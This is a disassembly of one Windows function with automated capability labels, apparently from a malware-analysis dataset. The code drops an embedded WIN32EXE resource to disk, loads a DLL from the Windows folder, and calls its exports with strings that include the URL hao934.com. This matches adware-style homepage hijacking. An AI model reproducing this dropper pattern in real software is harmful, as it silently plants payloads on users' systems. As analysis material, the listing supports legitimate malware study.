Function at 0x407060
Capabilities:
Extract resource via kernel32 functions
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x56e29a
mov eax, dword fs:[0]
push eax
sub esp, 0x26c
mov eax, dword [0x5cfff0]
xor eax, ebp
mov dword [ebp - 0x14], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
mov dword [ebp - 0x100], ecx
lea eax, [ebp - 0x108]
mov dword [ebp - 0xf8], ecx
push eax
mov dword [ebp - 0x108], 8
mov dword [ebp - 0x104], 0xff
call dword [sym.imp.COMCTL32.dll_InitCommonControlsEx]
push str.WIN32EXE
push 0x95
push 0
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov esi, eax
test esi, esi
je 0x407433
push esi
push 0
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov edi, eax
test edi, edi
je 0x407433
push esi
push 0
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
je 0x407433
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov esi, eax
test esi, esi
je 0x407433
push 0x5b07fc
lea ecx, [ebp - 0xf0]
call fcn.00405220
push 0
push 0
push 2
push 0
push 0
push 0x40000000
mov dword [ebp - 4], 0
push dword [ebp - 0xf0]
call dword [sym.imp.KERNEL32.dll_CreateFileW]
push 0
mov ebx, eax
lea eax, [ebp - 0x10c]
push eax
push edi
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x407428
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push str.C:Windowslibegl.dll
lea ecx, [ebp - 0x5c]
mov byte [ebp - 4], 1
call fcn.00406d90
mov byte [ebp - 4], 2
xor ecx, ecx
mov edi, dword [ebp - 0x4c]
mov edx, 2
lea eax, [edi + 1]
mul edx
seto cl
neg ecx
or ecx, eax
push ecx
call fcn.004075cf
add esp, 4
lea esi, [edi + edi]
cmp dword [ebp - 0x48], 0x10
lea ecx, [ebp - 0x5c]
mov ebx, eax
cmovae ecx, dword [ebp - 0x5c]
push esi
push ebx
push edi
push ecx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
xor eax, eax
push ebx
mov word [esi + ebx], ax
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov edi, dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov ebx, eax
test ebx, ebx
jne 0x4071d2
push eax
call edi
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.SafeSettings
push ebx
call esi
push str.ConsumerAlreadyExists
push ebx
mov dword [ebp - 0xf4], eax
call esi
cmp dword [ebp - 0xf4], 0
mov dword [ebp - 0xfc], eax
jne 0x407200
push ebx
call edi
push str.a248
lea ecx, [ebp - 0x74]
call fcn.00406d90
push str.ddddd
lea ecx, [ebp - 0xec]
mov byte [ebp - 4], 3
call fcn.00406d90
mov esi, eax
push 0x5b0868
lea ecx, [ebp - 0xd4]
mov byte [ebp - 4], 4
call fcn.00406d90
push eax
mov edx, str.http:__hao934.com_
mov byte [ebp - 4], 5
lea ecx, [ebp - 0xbc]
call fcn.00405fb0
add esp, 4
push esi
mov edx, eax
mov byte [ebp - 4], 6
lea ecx, [ebp - 0xa4]
call fcn.00407460
add esp, 4
push 0x5b06e4
mov edx, eax
mov byte [ebp - 4], 7
lea ecx, [ebp - 0x8c]
call fcn.00406000
add esp, 4
lea ecx, [ebp - 0x74]
mov byte [ebp - 4], 8
push ecx
mov edx, eax
lea ecx, [ebp - 0x44]
call fcn.00406050
add esp, 4
lea ecx, [ebp - 0x8c]
call fcn.004067e0
lea ecx, [ebp - 0xa4]
call fcn.004067e0
lea ecx, [ebp - 0xbc]
call fcn.004067e0
lea ecx, [ebp - 0xd4]
call fcn.004067e0
lea ecx, [ebp - 0xec]
mov byte [ebp - 4], 0xe
call fcn.004067e0
push str.VBScriptLKLive
lea ecx, [ebp - 0x2c]
call fcn.00406d90
mov byte [ebp - 4], 0xf
mov eax, dword [ebp - 0x34]
mov esi, dword [ebp - 0x1c]
inc eax
push eax
call fcn.004075cf
add esp, 4
lea ecx, [esi + 1]
mov edi, eax
push ecx
call fcn.004075cf
add esp, 4
lea ecx, [ebp - 0x44]
cmp dword [ebp - 0x30], 0x10
mov esi, eax
mov edx, edi
cmovae ecx, dword [ebp - 0x44]
nop dword [eax + eax]
mov al, byte [ecx]
lea ecx, [ecx + 1]
mov byte [edx], al
lea edx, [edx + 1]
test al, al
jne 0x407310
cmp dword [ebp - 0x18], 0x10
lea ecx, [ebp - 0x2c]
mov edx, esi
cmovae ecx, dword [ebp - 0x2c]
nop dword [eax + eax]
mov al, byte [ecx]
lea ecx, [ecx + 1]
mov byte [edx], al
lea edx, [edx + 1]
test al, al
jne 0x407330
push esi
push edi
call dword [ebp - 0xfc]
test al, al
jne 0x407352
push esi
push edi
call dword [ebp - 0xf4]
lea ecx, [ebp - 0x2c]
call fcn.004067e0
lea ecx, [ebp - 0x44]
call fcn.004067e0
lea ecx, [ebp - 0x74]
call fcn.004067e0
lea ecx, [ebp - 0x5c]
call fcn.004067e0
mov ebx, dword [ebp - 0x100]
mov dword [ebp - 4], 0
jmp 0x4073ad
mov ecx, ebx
call fcn.00419d88
push 0
call fcn.0041a91b
push 0xc
call fcn.00407593
add esp, 8
mov dword [ebp - 0xf8], eax
mov byte [ebp - 4], 0x11
test eax, eax
je 0x4073de
mov ecx, eax
call fcn.0041b587
mov esi, eax
jmp 0x4073e0
xor esi, esi
push str.P2PSearcher
mov ecx, ebx
mov byte [ebp - 4], 0
call fcn.0041c038
push ecx
lea ecx, [ebp - 0x278]
call fcn.00402150
lea eax, [ebp - 0x278]
mov byte [ebp - 4], 0x12
mov ecx, eax
mov dword [ebx + 0x20], eax
call fcn.00408169
test esi, esi
je 0x40741d
mov eax, dword [esi]
mov ecx, esi
push 1
call dword [eax + 4]
lea ecx, [ebp - 0x278]
call fcn.00402320
lea ecx, [ebp - 0xf0]
call fcn.00401c60
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.0054c0c7
mov esp, ebp
pop ebp
ret